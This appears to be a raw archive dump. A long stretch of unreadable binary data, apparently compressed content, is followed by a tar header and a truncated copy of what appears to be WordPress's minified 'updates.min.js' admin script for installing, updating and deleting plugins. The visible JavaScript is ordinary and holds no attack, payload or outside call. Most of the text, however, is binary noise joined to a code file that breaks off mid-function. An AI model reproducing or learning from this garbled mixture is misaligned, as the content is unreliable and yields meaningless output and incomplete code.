��^�Gu�ȉ��~�BB�f�sZ�o����$���'z����Kں?�x�&��22.�s2?m��DR{I�lO��K��GRڀ��S(��]�ւ)���W?M�X�b�;�5)�綣g�s���hW�y�!��f(&T�^��n:#L>��Ǹ�:���+'#1)-�ɩ���^�m�E�ZAL��ӐUH%r�O�Ix<����JV=4�i��!��+�tB����2�/�"��!�N�N�'�Њ�q�7��}����ݚ�� �x�t{p��b�]��t^n"���A׽a�K�����z�g�p�}�̒�v�BƉ�6�"�S��e�N�f.z�p���dBo�9]#��l�'(Q�fՕ��6�9���#�ot��Q�g2�����b��Ъ��l��?n�CVE�n.��ԥX�CM��갹�C�wM�t?�/N,���V}���In�t��:�`��ԊЋ#����ƞ6��ل���Ū-5,�$f�l}������c��'L�|U���ڜ��I�y�`����м���_��U���&��CI�+1QR��	�D)�e3k�t`j��Spʒ8B��D:��$ӑC1�>�����c&_��Ӊ���4sH�Tt(�Z.V�3D/��O�*��$��Dʹ'2"�j²8���|���n��1y9��l<�O�*�rX�V,��Q�6!F����`A���l�7.���p#�/�:\#(�Hn�q�58>�����_�y5�.��}J�n�$�
&Õd����g����e쪪9����	WIO�q]��B�?)�v�
�����e�����ĶN�&Nl�<S�$��el�5�j�b���m�XGdG�c�_�v<'J��q�g��z5�$�cMA��%7�O������D���ƏMqL�}�N�
�"MxL�4EΖ&��g<���@VkAF�(Y1)C��r�wL�,��,��Q;|���'�5�-�/Է�2�Ce�H���L$�H�ٕ葆�tr�z(9I+N��e#l7�h%r�E��&�U�^Px�z��I $��� S.��8�����sŗ�Ċ$�A�ގQd��Hg��1�a��6�"�r%���'�1��OB�����_��t���}�*��1`�̷�oh]��8}"�6P�GUv���.�w��ش�3�y���LHk2B�-��-��De��o/��c�I��zSSDJ���t~�)��i��ID$�{!����h�~�����4�}��beyYlf�V�!THE��]`&�RN0KOg�e;��_DF�9�{�x[���\�]������Q�u�Is�Ά��oNS����������L����K�2���d�����
�p[��E���#���C��S�6TPm>�(8S�H�^�Sz�
$s���<���9k2d%+����� ]6���3Lr5<I1�=!�-ȦE� ��3�/]�Ʈ��%��Y�B�)��8��kQ�Z�-���&�
e��\y�9Bw�`a��}
�q�V{��]�1��p��
.�A�
s��
���n.�.��]�Apm��Տ5�j�7o�W$z��H��^.��5L�K'n�6�VP�{��WJ�Y�}����@a�1��!�J�"p:QZ�$W�n[�q��51��$pI��%	i*�)3!"�١��Yz�cd���w���HԒ%i#�2�U6�b��ĩo�_�K�}!�Q�GtS,o'���n��p��=�pּ�d�-(�Mx���T�c!r|[=t!�8�ѩ�ڤ��/�u���[�A9�)��<���Q�]B��ό�V��f�U!��r��D��b�dK��[Q
����6��	N��v��}����B	@
��l����{�I�|�|�B���U�9������Ƒ�̸LP�>��3h�#ͨ��a���@s���w�����<�Цw�MW�Od����'wݍ�/�6_�V����{��d��IJR���+8��U��s�8�i0�]S�|��k�.Ć
j����2��ωqX���ɒo�mI�8�f'��}�-���u�@����|t����UgB���v�눉��B���<�*��?//�*3sO���c���f�l�W�wbG\��hS�=rµ��#����[w�\<�,>���+�D��[�C�j	Ɓ�|h��"�P�P���&H�xo �i0������4�qa��I.{]�㟊7$�S2�a+1����ౢ�� PS�,�}ֈ�6E�Ո�́/S��b�hi������̅u��&���Y�T�jZѣ�<�8h�[�t�!�*�"uBq6�ϗ�O��Ԃ�3�F�-�����rwӖ�d�)���䛌n�ސe�yf��h6���։8b:�B�}�`�9y�9�;.��$�H��Å8ö�KwD�P/�V��y����Z�XmV��X��I=���+z�χn﷬|d��=��'YlA��ΟG���N�^�q�tk�'�k�:���o.[maS����^h�@9q����|�=a�(�\	3?�PVd����:��h?��p�&��+L��U�T榻hMd�k:U0#ݲǏhOϲZ��r�8|�j*�-�;�Z�"�t��bөӪY�;�T\ۥ۹6�~�(_04x'��X����7�'?��Je�	SRoZ�)�e8FL��ы�a-�>b�P�#��zq�BK�����J�U:�የӗ�3��)ž��C�ͼR.�%�(E���;�!�=Ӗ��Ĉ;�5"��-<�(���#r�K�u�K�,~^�#��I`߀���b�V�yy�>���S�\q-�8���H���Me�N6�(J��ud9�)i�X`{�5�x��βYIb��IN�s�����1c%�o��UKU4�!�9 C�p鬠���ԡ�?�,ZWDNu@�5���8���Ѿ,`Q3����0�'Ͼ�Y5��o��'u�h0���U;n��o�+;��(a'nٌ�J8�R|'�O@,�m��im���|,��P-�VW����38b���?�YS����'$�Q�c�Ú�>���N�������� ��+G8�m��]ќ��*�U����tq�Y�r���p�T?��{F�ʫst¼��(��i��E��N^6_�m��W�#w�(�N/�F�vv�7,�>�||Ib��ED6V
��q��}���2L�z�kitؿ~9�3��ň�ac�n��]r�+�
�['M!�K!�]�r�_��ꈃxK��xhe>�ސ��N�I^���Qk���V蚿T9zo����^�!���	���Xl�!q?�k��Hn	���`o��s�"!�07�1�E��~#D9;aK�kͿw�E��ߊ|�w8�ֱ_�;�0��"�9^��>M�����-�,�C[��\
�'ר�J��_�Ő���E���
k���gD��J<RK��$!�	Wޘ��y��pK5_�癷�ӛeHo��4Q��$	+k:��r��W莤��%}'�p�A��6�$f�kn��;
�r�˫�8����FY���� 
�FH\9tP$�:��,��M��մ���
� �L�����
U
� s�:2�ʝ�{�6H�Ղ�8�{(%�\?�=��<�Q4�\���'�#�d����|∧�(��<+[���"4N$�%,CG��ՂK�&�uO�2��������|ǵ(�Mrm.�h���c�P|Q��A�&�Y3t#�T5���a�?�&���ã�Y��0��a'l�Ůnx�	d��@����8B"�|�/��o�
R�Z��$��C��-te��z|a�_,A��ʥI}�Ȧ�sG�Y+�{�~z1�$�k�$���O��b�
;k��E5��O���3L�!���«���]�����\��uq�
mC�-J��c��B��/��Ǽ�0hG�w��@.��qA�i����UR�Ι4+L>(��@_ʕ�	ѿL���oecxى�m��\�T4��n���
yzѥן��/O����S:v,3��[��<{�k��C�Jʺ�ҢfwZѝ���uu\���$��{Ei�]�3+�*L�z�V�}ߕly�~a�S��"c	>�;�3�\�TS�Y
N�G����/�O��->�0�d���i'1�Ӥ�I��J����9���@0ag�Y�`�P�4�:Q��̥�mT���������O^�(�j��TN�EhU�.ێ�\J�RF�\Ƀ�A��e�`N�!DfT�kL���R�����q�D/i|.RoG
_�&����ک��b󑄿D�R��g�QE�!�)@�A2.�8]�U�����o\*OH�|�~l��>�|��\�7��P��`F�L��]�3��=����v��������+���:�Io\�71�?K�e�8FW�].V�	�8G_u~6d��=��kz�ʶ��,0
ɔ��Qv���k�����z��_��~��.}�Pfcp�	+b��`co�+Z���L�֦ή�u��_�#*�CM¸+�̊�a/��V��EE��K1l��\�ӝ��8�q/���A*e����`� ���}����Ө��4p����E[���I6B�optoJ�
.����ܱT�j^������c�7f��ts�7/E��W@*��R��cq
ʵ����u�1E�Q����'#�bX;Ho��n�C7����F2
���*��*���ת��+@7S�v
)
Ȋl_�A�(5�i��Q���:������=�t*}�����Emq�{��l��%�#Y��ي\�����p}�V5�i�o���[���R\m�19��E�vD�3�
�	��Ҫ;�dn	�Y���
8>�"Vun"��CdI<r��Y&	n�e�Y.w�P�}�w���/��6��j�b��;2�Fhr~�u��'����:G�?L�Jwy��#�bPB�J�E�	e��?t���[5T�۸��Y���m���#�W�NI�Uǡ�8���T^��/9$e��X~Y8^�"w#��0"��er*���*>b�4p�H���K�ED���� j��4��8xtMϻ���W�����˧�E�P\�( 2�lU�ϛ��|Gz�2��U<o4vQ��\ztj2��~ۂ�4������{w�h?X��l�ݵ_`”�M!D��F�d����'�m�|'�B��o�Q���$�f����Oţ`���f3�M}b��f�>�b@'	�� �7�r�P?�ؗ[X
�—b��f��VD��X�U٠x���>6v;�~���ப����l��59���[���KD��.����32�A���hޒ��Z��n$1�V��>+V��w
�l�������0�>��_���s�a���c��Yȯ����Ago1/c�����*yW 7�"U���9�������f���\�z��_nя\��rW�Y��D苯�e�D��D�a�5'=�`H[��S��DRo`I6n�$��?���٧{�|�
Z{��Rr��ﱒ���29jVx�g�)��S�]���e���r���M[�RWL�릝��G޴0�W�����?~�)s��	V<^�-vDX�u1��<�po#f
{C�q���D�ȨW,�"fJ�1=�*u3��3�:֨�oz�H�ws�w�'O��
��qZ��v��Ml�B>�f�@	�{�؀ʏyVS���Lw�Ne���0�e��G]�*0�OI\x0�d����|����=p����D$:A�t��S�܉�Z��7%�<�L��uS�B@Z��=��J�k�9�M��P�b���b�S���܍�s��0{��-�?�!�M�Ò{��d'��,�~�+5�$���X�
{��@�/���\*=,]�q�n���o�����4���ݧ�5VG{�<Lu�-n������u�X��.�|�z��Qܩ�O��3=g'�G*�-�V
��d\%���S�W��n���m���KZk�Qbx��W��5�h'�0:F<�J|��ǹ����F�"��u��1RC,��c��f��Ә^�]���&�'���-�!Vk�Im����b2�0�Dn�ވ�O���Ђ�6�n>�J�2���Z�I�rZ�U����}��F’2i�MO��۳r9ɒ�}� 8=��p��؍�]�W��I�w_�켒�V6x�VE��"��T��8]�2����$|Y	5��
���5�UH��R��K�*��w_�|��ٟǐi�DZd؇�`u-�R��X�LRX۷�,�9\�\M�`���?/0�Q-�<F����e��e
�n�cvn�l]���T���Y�ӻ���ضVb(�ǥCY>��� s/����qX]1��|;0�䗱j������1�b�����\3�R�g���ﳫb)��?|{����s�z?U���}���6��O�Y���3Mҧ/��^-w;}=����E�cw��7O��������N�bͿ1܏�֞T�p����������I�.�F��x6���
��R��u1�5���MqUvI�U�\�b�;�g;J�[�x'��-K�+كaM悵��R>L;��ש A*�g��۪iA�a9n�91�1r��!���f}I&�{��E����Z*;���s�$��e���K��$��#Ѵ±���A�@�;["����C�Ԓ\q�^@�]]d}�f�P���(\��01�J��F���[r�Qz���:{}�3y�7�?5��I��׋ܩ1���R�����G$e�1�#�UKQ��) �W�����~"+&�Y��}B/��k2��m��l8��ڧ����;�z���7;RU�t�8��솎���%e2���Q7'm2�q&�܇����|��"t�V��NHp�)���MP<����*��q��y�*��A!������Q޸��Ou#�ЉW��8kJ�!�ݚ���z����|�Up�rO���^%�n[��%@]y�K�ʚ�(��s���g51&<�{Jd��DE�a�x�+�N\O��J�ʸ;J�XP��'md4�L&�/�#���1O�D�P��k!Ď3�>/\��4�E�-k��u�S�J��LF]�8�|
�E���V�c2$`_�)��goߊ�5j�	a*�&UANu�o|�8U(곗#;հ܂�Gr�WEم,�,�+�
"�	���'_�I$Wl��cg����'�
=���R�]bÁYa�=k"�L2��d��w�-��k�K��q8�-U�wE��G��`�￟�W5�����v^�y��%�|H�iA�tC?�����$/c�43)�:���/��d�׆}H��xڕE�%���� g�A��u|Y�����*j�-��=�4~�^��0֯p�%?'c�kR���?0%��:	�LU�j��5IJ��"7
��"d~P̐��)��w)8@�z%jzKy�a�N�rI�p{�����2��N�p�y;�}Ͻw�jJ��FRYq����`_+�-M�(��t�.
Z8�q�����L��l�C��T
8�L�}�x����U�D=(�3p���\�4�.��>�,4���/a;��q��@�&���(�ΗTe_>,��3Qk��r
W�v���WR����3�j�0}�m(���W�;"��U�Žn�粙�-g�-�V=�Իu
���>��[�ij����Ȧ,��U��Ŕ�J��Ѳ!�h*�ڷ�'�q(�"Y��Lzz�y������`��D�DI�#لjF��L�+��h����4<j:�
�"'t�al$�"�;�P�5��Ԥ��&�66W9b��Y,T�sB�s)
�:����n=d��Vh���ic�X�k�<�X����1�[]pS��򹘇����$�4S, �|-�&8����o�=�{"�7T��s�˕�ɒ��-_K�Fyo���ʦ��J娶<��Rc:[N����|�z�:A')�x[�])&���ax}K�h��W�M�}w��*��L�Ά~����0[��$V�I��Zp4{'Sk��k�9r�(�Q�/B��g�HK���$D�ƞq��7[Dž���@�15"֪wwa���=n^,�/g�o���a����$�0�~OAg(��="�g���h��	�_��c
'�e��:A���1��ח'�v�($t�t�կ�ݗ�f3�nU��:34;0mC��[���Y����3S���sf�e��>�B��-�u^��
�����aQ�_d�t6|V{��	�c�F��xR����QIg>褈�@��O�0~o(E�0�	gm��Eح;3�']�G���%����*�7�E1�*�qN��������f�u=ɂG��	^DW p�FY�Ib�n4�
[I�=9��I�:	�9.�N�'�2�u�3=��6�SJ�z��]������	H4�^�~9�)�&\$��<��ڹ�#Jb�:��C[��¼��TD߅��XH�bsd�K'5�AA`"$�F\�m�G'�S%����itU�E�x/6)y��\S�
Ga���6
���A4�E���(��u6��(����q*���<uKg���x=8)��Lā�'0>g�!J-$�H��
O���(�R�3��Ԇ�5?;w2�bx��&�e�j4E?�g�9T1��~i��#8����J]I����D��Ay]���R#91`�1�Y=�������+��m�e�ye�$�&��"���ۺ��V�f�%��$v�>%r�'��ywS9?3���_���%�����]s�l���x$�ڊ��ys�O�W��\[��	����
�A��K�l?Mha!�[���+�F��j�RjP�]�q1^G�,���nS*�/����dJ�[�v�y�٤^n��˫���'O�S�1M�+���#�x�Q�7w�7X���U2�\�8�ж�3zN`��]�.�Յ�V'iJ_V�S��p��S~L���GPL&U��MB�`�ݡt�~_l{A[}e�Վ��ی�Ɍe�ຆڟ�6�&aw����JK`ź�̂bK��oT�Z���\�C�8�?�ڿ�`��u��p�W.���'/��ɧ/?���š��b�Ove�9=�NO�k���Qb#�Ĭx�-��}�&��6���l9.(�&�$b��ܨ��T���*m�i��>ϫ�O�Vf�]Ŷح�6ZZ��h���a5��E)�lNJ	�:A�s���?�\~�)W9�	mz���B}��s�8Ilئ?{f�w�{��Q��k��L���{��)	E�� >�+	�#�~��v-�5\(qt�\����g���w*��o��	�"f1��8������=|A�G~)����N[,��}��d֔]=Z�L�h��S"�r�>"�
�Č9��II��_žz�D }�V��-ۢ�M�<�G)sB��w|b��-�^b#֭�Y�e�K���q�����C$�r>��V�n?��F��y����?�:����^�L8�3՚A�
��l��!�}*��͋��]�'u������
ٲ����5f���y����ܟ�n=�z�r5S
���&����)�۝���@ς�kz�:�,1cNԄ�6��1�"?��ٺ��M������R5Wb;t��u��N��6�x#�N���z�ևTݶ��^��2į��<��8�46{d[��Dj�i���R�MÆO�h��u�_MW�{7�/2X�'���m�׸���^S�g�& �w*��|$�Q��ԫx_�������]k�}Nv��F���Zve�Ϣ���d�0�	O��6N����U�iEr>B>)��dVd_��&װ7٪��8�9�_B�7�#@j���O�뉣?������FDzJ��O �=�5�^P>������;m�ǩvI��rО��r�u����x���(s؍�R�r]7��RMi�L����G��H����Ir�8Ŝ_~�_#�Lo���5�>6��6QP�$~O�W6I]�p~C�;ab�%mɯ�����Uz�^�X��	���x.w����%���@E�7��g~��r�	 ^D�r���*Nk�zެl�	MO��O��I09�v`M�{���z�L]��7�[Ɠ6~w���6�nd�E?����4ed��8�$đ@Sψ�*F0��}k$.����6�;oyJ����vH�	��=�.u�~U<>`��~�7?a��A��_A��@�5t��q2J�Jsb*��{:��^IQĂo���Z-޴=a�Ur	�G�Q+zpQSElo��[^QؖD���5��L"���Y���i�����R֙)ٺ	�͋�3ֱ�̵�aF���Ո��@��l�W�nw#?��ROqB�'��ɒ�E�7>t0z92���/=������
E����i���;1�M�
�5G�>������Y.����ḑ򚅊�*��$|W�UPF�n��1b���M6��b�q�Fb���̻�U���Zg�5�[��k�q�PV�2��(���1m3�^狰1$Q���ޘ}`����TGȤ\c-�y�CMM

GNE�vh��•H����@�Q{�(J��]پ��U�h��ޙ[_&IKz�.�'�m?��TF��,k�����Ar#��
7�ő��혉�|�yq�dž��7�T��J�n����x��l(	K�K|T.���]լ�]{��`�vN��i�����5��6���ˀ㬔��Ĕ;�=��!��&��A��jFY�����h��u���?�q���C��:�X⑾�����������d5��� �}U�*1maݏ�̓��*�9x�����[s�QJ�L�۠a??���`�l�3!�eW}a;w�g�e��o�p����ί��\�-eo�������������RX0� updates.min.js000064400000121224150276633100007336 0ustar00/*! This file is auto-generated */
!function(c,g,m){var h=c(document),f=g.i18n.__,i=g.i18n._x,l=g.i18n._n,o=g.i18n._nx,r=g.i18n.sprintf;(g=g||{}).updates={},g.updates.l10n={searchResults:"",searchResultsLabel:"",noPlugins:"",noItemsSelected:"",updating:"",pluginUpdated:"",themeUpdated:"",update:"",updateNow:"",pluginUpdateNowLabel:"",updateFailedShort:"",updateFailed:"",pluginUpdatingLabel:"",pluginUpdatedLabel:"",pluginUpdateFailedLabel:"",updatingMsg:"",updatedMsg:"",updateCancel:"",beforeunload:"",installNow:"",pluginInstallNowLabel:"",installing:"",pluginInstalled:"",themeInstalled:"",installFailedShort:"",installFailed:"",pluginInstallingLabel:"",themeInstallingLabel:"",pluginInstalledLabel:"",themeInstalledLabel:"",pluginInstallFailedLabel:"",themeInstallFailedLabel:"",installingMsg:"",installedMsg:"",importerInstalledMsg:"",aysDelete:"",aysDeleteUninstall:"",aysBulkDelete:"",aysBulkDeleteThemes:"",deleting:"",deleteFailed:"",pluginDeleted:"",themeDeleted:"",livePreview:"",activatePlugin:"",activateTheme:"",activatePluginLabel:"",activateThemeLabel:"",activateImporter:"",activateImporterLabel:"",unknownError:"",connectionError:"",nonceError:"",pluginsFound:"",noPluginsFound:"",autoUpdatesEnable:"",autoUpdatesEnabling:"",autoUpdatesEnabled:"",autoUpdatesDisable:"",autoUpdatesDisabling:"",autoUpdatesDisabled:"",autoUpdatesError:""},g.updates.l10n=window.wp.deprecateL10nObject("wp.updates.l10n",g.updates.l10n,"5.5.0"),g.updates.ajaxNonce=m.ajax_nonce,g.updates.searchTerm="",g.updates.shouldRequestFilesystemCredentials=!1,g.updates.filesystemCredentials={ftp:{host:"",username:"",password:"",connectionType:""},ssh:{publicKey:"",privateKey:""},fsNonce:"",available:!1},g.updates.ajaxLocked=!1,g.updates.adminNotice=g.template("wp-updates-admin-notice"),g.updates.queue=[],g.updates.$elToReturnFocusToFromCredentialsModal=void 0,g.updates.addAdminNotice=function(e){var t,a=c(e.selector),s=c(".wp-header-end");delete e.selector,t=g.updates.adminNotice(e),(a=a.length?a:c("#"+e.id)).length?a.replaceWith(t):s.length?s.after(t):"customize"===pagenow?c(".customize-themes-notifications").append(t):c(".wrap").find("> h1").after(t),h.trigger("wp-updates-notice-added")},g.updates.ajax=function(e,t){var a={};return g.updates.ajaxLocked?(g.updates.queue.push({action:e,data:t}),c.Deferred()):(g.updates.ajaxLocked=!0,t.success&&(a.success=t.success,delete t.success),t.error&&(a.error=t.error,delete t.error),a.data=_.extend(t,{action:e,_ajax_nonce:g.updates.ajaxNonce,_fs_nonce:g.updates.filesystemCredentials.fsNonce,username:g.updates.filesystemCredentials.ftp.username,password:g.updates.filesystemCredentials.ftp.password,hostname:g.updates.filesystemCredentials.ftp.hostname,connection_type:g.updates.filesystemCredentials.ftp.connectionType,public_key:g.updates.filesystemCredentials.ssh.publicKey,private_key:g.updates.filesystemCredentials.ssh.privateKey}),g.ajax.send(a).always(g.updates.ajaxAlways))},g.updates.ajaxAlways=function(e){e.errorCode&&"unable_to_connect_to_filesystem"===e.errorCode||(g.updates.ajaxLocked=!1,g.updates.queueChecker()),void 0!==e.debug&&window.console&&window.console.log&&_.map(e.debug,function(e){window.console.log(g.sanitize.stripTagsAndEncodeText(e))})},g.updates.refreshCount=function(){var e,t=c("#wp-admin-bar-updates"),a=c('a[href="update-core.php"] .update-plugins'),s=c('a[href="plugins.php"] .update-plugins'),n=c('a[href="themes.php"] .update-plugins');t.find(".ab-label").text(m.totals.counts.total),t.find(".updates-available-text").text(r(l("%s update available","%s updates available",m.totals.counts.total),m.totals.counts.total)),0===m.totals.counts.total&&t.find(".ab-label").parents("li").remove(),a.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.total)}),0<m.totals.counts.total?a.find(".update-count").text(m.totals.counts.total):a.remove(),s.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.plugins)}),0<m.totals.counts.total?s.find(".plugin-count").text(m.totals.counts.plugins):s.remove(),n.each(function(e,t){t.className=t.className.replace(/count-\d+/,"count-"+m.totals.counts.themes)}),0<m.totals.counts.total?n.find(".theme-count").text(m.totals.counts.themes):n.remove(),"plugins"===pagenow||"plugins-network"===pagenow?e=m.totals.counts.plugins:"themes"!==pagenow&&"themes-network"!==pagenow||(e=m.totals.counts.themes),0<e?c(".subsubsub .upgrade .count").text("("+e+")"):(c(".subsubsub .upgrade").remove(),c(".subsubsub li:last").html(function(){return c(this).children()}))},g.updates.decrementCount=function(e){m.totals.counts.total=Math.max(--m.totals.counts.total,0),"plugin"===e?m.totals.counts.plugins=Math.max(--m.totals.counts.plugins,0):"theme"===e&&(m.totals.counts.themes=Math.max(--m.totals.counts.themes,0)),g.updates.refreshCount(e)},g.updates.updatePlugin=function(e){var t,a,s,n=c("#wp-admin-bar-updates");return e=_.extend({success:g.updates.updatePluginSuccess,error:g.updates.updatePluginError},e),"plugins"===pagenow||"plugins-network"===pagenow?(a=(s=c('tr[data-plugin="'+e.plugin+'"]')).find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning").find("p"),s=r(i("Updating %s...","plugin"),s.find(".plugin-title strong").text())):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(a=(t=c(".plugin-card-"+e.slug)).find(".update-now").addClass("updating-message"),s=r(i("Updating %s...","plugin"),a.data("name")),t.removeClass("plugin-card-update-failed").find(".notice.notice-error").remove()),n.addClass("spin"),a.html()!==f("Updating...")&&a.data("originaltext",a.html()),a.attr("aria-label",s).text(f("Updating...")),h.trigger("wp-plugin-updating",e),g.updates.ajax("update-plugin",e)},g.updates.updatePluginSuccess=function(e){var t,a,s,n=c("#wp-admin-bar-updates");"plugins"===pagenow||"plugins-network"===pagenow?(a=(t=c('tr[data-plugin="'+e.plugin+'"]').removeClass("update is-enqueued").addClass("updated")).find(".update-message").removeClass("updating-message notice-warning").addClass("updated-message notice-success").find("p"),s=t.find(".plugin-version-author-uri").html().replace(e.oldVersion,e.newVersion),t.find(".plugin-version-author-uri").html(s),t.find(".auto-update-time").empty()):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(a=c(".plugin-card-"+e.slug).find(".update-now").removeClass("updating-message").addClass("button-disabled updated-message")),n.removeClass("spin"),a.attr("aria-label",r(i("%s updated!","plugin"),e.pluginName)).text(i("Updated!","plugin")),g.a11y.speak(f("Update completed successfully.")),g.updates.decrementCount("plugin"),h.trigger("wp-plugin-update-success",e)},g.updates.updatePluginError=function(e){var t,a,s,n=c("#wp-admin-bar-updates");g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-plugin")&&(s=r(f("Update failed: %s"),e.errorMessage),"plugins"===pagenow||"plugins-network"===pagenow?(c('tr[data-plugin="'+e.plugin+'"]').removeClass("is-enqueued"),(a=(e.plugin?c('tr[data-plugin="'+e.plugin+'"]'):c('tr[data-slug="'+e.slug+'"]')).find(".update-message")).removeClass("updating-message notice-warning").addClass("notice-error").find("p").html(s),e.pluginName?a.find("p").attr("aria-label",r(i("%s update failed.","plugin"),e.pluginName)):a.find("p").removeAttr("aria-label")):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||((t=c(".plugin-card-"+e.slug).addClass("plugin-card-update-failed").append(g.updates.adminNotice({className:"update-message notice-error notice-alt is-dismissible",message:s}))).find(".update-now").text(f("Update failed.")).removeClass("updating-message"),e.pluginName?t.find(".update-now").attr("aria-label",r(i("%s update failed.","plugin"),e.pluginName)):t.find(".update-now").removeAttr("aria-label"),t.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){t.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus"),t.find(".update-now").attr("aria-label",!1).text(f("Update Now"))},200)})),n.removeClass("spin"),g.a11y.speak(s,"assertive"),h.trigger("wp-plugin-update-error",e))},g.updates.installPlugin=function(e){var t=c(".plugin-card-"+e.slug),a=t.find(".install-now");return e=_.extend({success:g.updates.installPluginSuccess,error:g.updates.installPluginError},e),(a="import"===pagenow?c('[data-slug="'+e.slug+'"]'):a).html()!==f("Installing...")&&a.data("originaltext",a.html()),a.addClass("updating-message").attr("aria-label",r(i("Installing %s...","plugin"),a.data("name"))).text(f("Installing...")),g.a11y.speak(f("Installing... please wait.")),t.removeClass("plugin-card-install-failed").find(".notice.notice-error").remove(),h.trigger("wp-plugin-installing",e),g.updates.ajax("install-plugin",e)},g.updates.installPluginSuccess=function(e){var t=c(".plugin-card-"+e.slug).find(".install-now");t.removeClass("updating-message").addClass("updated-message installed button-disabled").attr("aria-label",r(i("%s installed!","plugin"),e.pluginName)).text(i("Installed!","plugin")),g.a11y.speak(f("Installation completed successfully.")),h.trigger("wp-plugin-install-success",e),e.activateUrl&&setTimeout(function(){t.removeClass("install-now installed button-disabled updated-message").addClass("activate-now button-primary").attr("href",e.activateUrl),"plugins-network"===pagenow?t.attr("aria-label",r(i("Network Activate %s","plugin"),e.pluginName)).text(f("Network Activate")):t.attr("aria-label",r(i("Activate %s","plugin"),e.pluginName)).text(f("Activate"))},1e3)},g.updates.installPluginError=function(e){var t,a=c(".plugin-card-"+e.slug),s=a.find(".install-now");g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(t=r(f("Installation failed: %s"),e.errorMessage),a.addClass("plugin-card-update-failed").append('<div class="notice notice-error notice-alt is-dismissible"><p>'+t+"</p></div>"),a.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){a.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus")},200)}),s.removeClass("updating-message").addClass("button-disabled").attr("aria-label",r(i("%s installation failed","plugin"),s.data("name"))).text(f("Installation failed.")),g.a11y.speak(t,"assertive"),h.trigger("wp-plugin-install-error",e))},g.updates.installImporterSuccess=function(e){g.updates.addAdminNotice({id:"install-success",className:"notice-success is-dismissible",message:r(f('Importer installed successfully. <a href="%s">Run importer</a>'),e.activateUrl+"&from=import")}),c('[data-slug="'+e.slug+'"]').removeClass("install-now updating-message").addClass("activate-now").attr({href:e.activateUrl+"&from=import","aria-label":r(f("Run %s"),e.pluginName)}).text(f("Run Importer")),g.a11y.speak(f("Installation completed successfully.")),h.trigger("wp-importer-install-success",e)},g.updates.installImporterError=function(e){var t=r(f("Installation failed: %s"),e.errorMessage),a=c('[data-slug="'+e.slug+'"]'),s=a.data("name");g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(g.updates.addAdminNotice({id:e.errorCode,className:"notice-error is-dismissible",message:t}),a.removeClass("updating-message").attr("aria-label",r(i("Install %s now","plugin"),s)).text(f("Install Now")),g.a11y.speak(t,"assertive"),h.trigger("wp-importer-install-error",e))},g.updates.deletePlugin=function(e){var t=c('[data-plugin="'+e.plugin+'"]').find(".row-actions a.delete");return e=_.extend({success:g.updates.deletePluginSuccess,error:g.updates.deletePluginError},e),t.html()!==f("Deleting...")&&t.data("originaltext",t.html()).text(f("Deleting...")),g.a11y.speak(f("Deleting...")),h.trigger("wp-plugin-deleting",e),g.updates.ajax("delete-plugin",e)},g.updates.deletePluginSuccess=function(u){c('[data-plugin="'+u.plugin+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c("#bulk-action-form"),t=c(".subsubsub"),a=c(this),s=t.find('[aria-current="page"]'),n=c(".displaying-num"),l=e.find("thead th:not(.hidden), thead td").length,i=g.template("item-deleted-row"),d=m.plugins;a.hasClass("plugin-update-tr")||a.after(i({slug:u.slug,plugin:u.plugin,colspan:l,name:u.pluginName})),a.remove(),-1!==_.indexOf(d.upgrade,u.plugin)&&(d.upgrade=_.without(d.upgrade,u.plugin),g.updates.decrementCount("plugin")),-1!==_.indexOf(d.inactive,u.plugin)&&(d.inactive=_.without(d.inactive,u.plugin),d.inactive.length?t.find(".inactive .count").text("("+d.inactive.length+")"):t.find(".inactive").remove()),-1!==_.indexOf(d.active,u.plugin)&&(d.active=_.without(d.active,u.plugin),d.active.length?t.find(".active .count").text("("+d.active.length+")"):t.find(".active").remove()),-1!==_.indexOf(d.recently_activated,u.plugin)&&(d.recently_activated=_.without(d.recently_activated,u.plugin),d.recently_activated.length?t.find(".recently_activated .count").text("("+d.recently_activated.length+")"):t.find(".recently_activated").remove()),-1!==_.indexOf(d["auto-update-enabled"],u.plugin)&&(d["auto-update-enabled"]=_.without(d["auto-update-enabled"],u.plugin),d["auto-update-enabled"].length?t.find(".auto-update-enabled .count").text("("+d["auto-update-enabled"].length+")"):t.find(".auto-update-enabled").remove()),-1!==_.indexOf(d["auto-update-disabled"],u.plugin)&&(d["auto-update-disabled"]=_.without(d["auto-update-disabled"],u.plugin),d["auto-update-disabled"].length?t.find(".auto-update-disabled .count").text("("+d["auto-update-disabled"].length+")"):t.find(".auto-update-disabled").remove()),d.all=_.without(d.all,u.plugin),d.all.length?t.find(".all .count").text("("+d.all.length+")"):(e.find(".tablenav").css({visibility:"hidden"}),t.find(".all").remove(),e.find("tr.no-items").length||e.find("#the-list").append('<tr class="no-items"><td class="colspanchange" colspan="'+l+'">'+f("No plugins are currently available.")+"</td></tr>")),n.length&&s.length&&(i=d[s.parent("li").attr("class")].length,n.text(r(o("%s item","%s items","plugin/plugins",i),i)))}),g.a11y.speak(i("Deleted!","plugin")),h.trigger("wp-plugin-delete-success",u)},g.updates.deletePluginError=function(e){var t,a=g.template("item-update-row"),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:e.errorMessage}),n=e.plugin?(t=c('tr.inactive[data-plugin="'+e.plugin+'"]')).siblings('[data-plugin="'+e.plugin+'"]'):(t=c('tr.inactive[data-slug="'+e.slug+'"]')).siblings('[data-slug="'+e.slug+'"]');g.updates.isValidResponse(e,"delete")&&!g.updates.maybeHandleCredentialError(e,"delete-plugin")&&(n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(s)):t.addClass("update").after(a({slug:e.slug,plugin:e.plugin||e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead 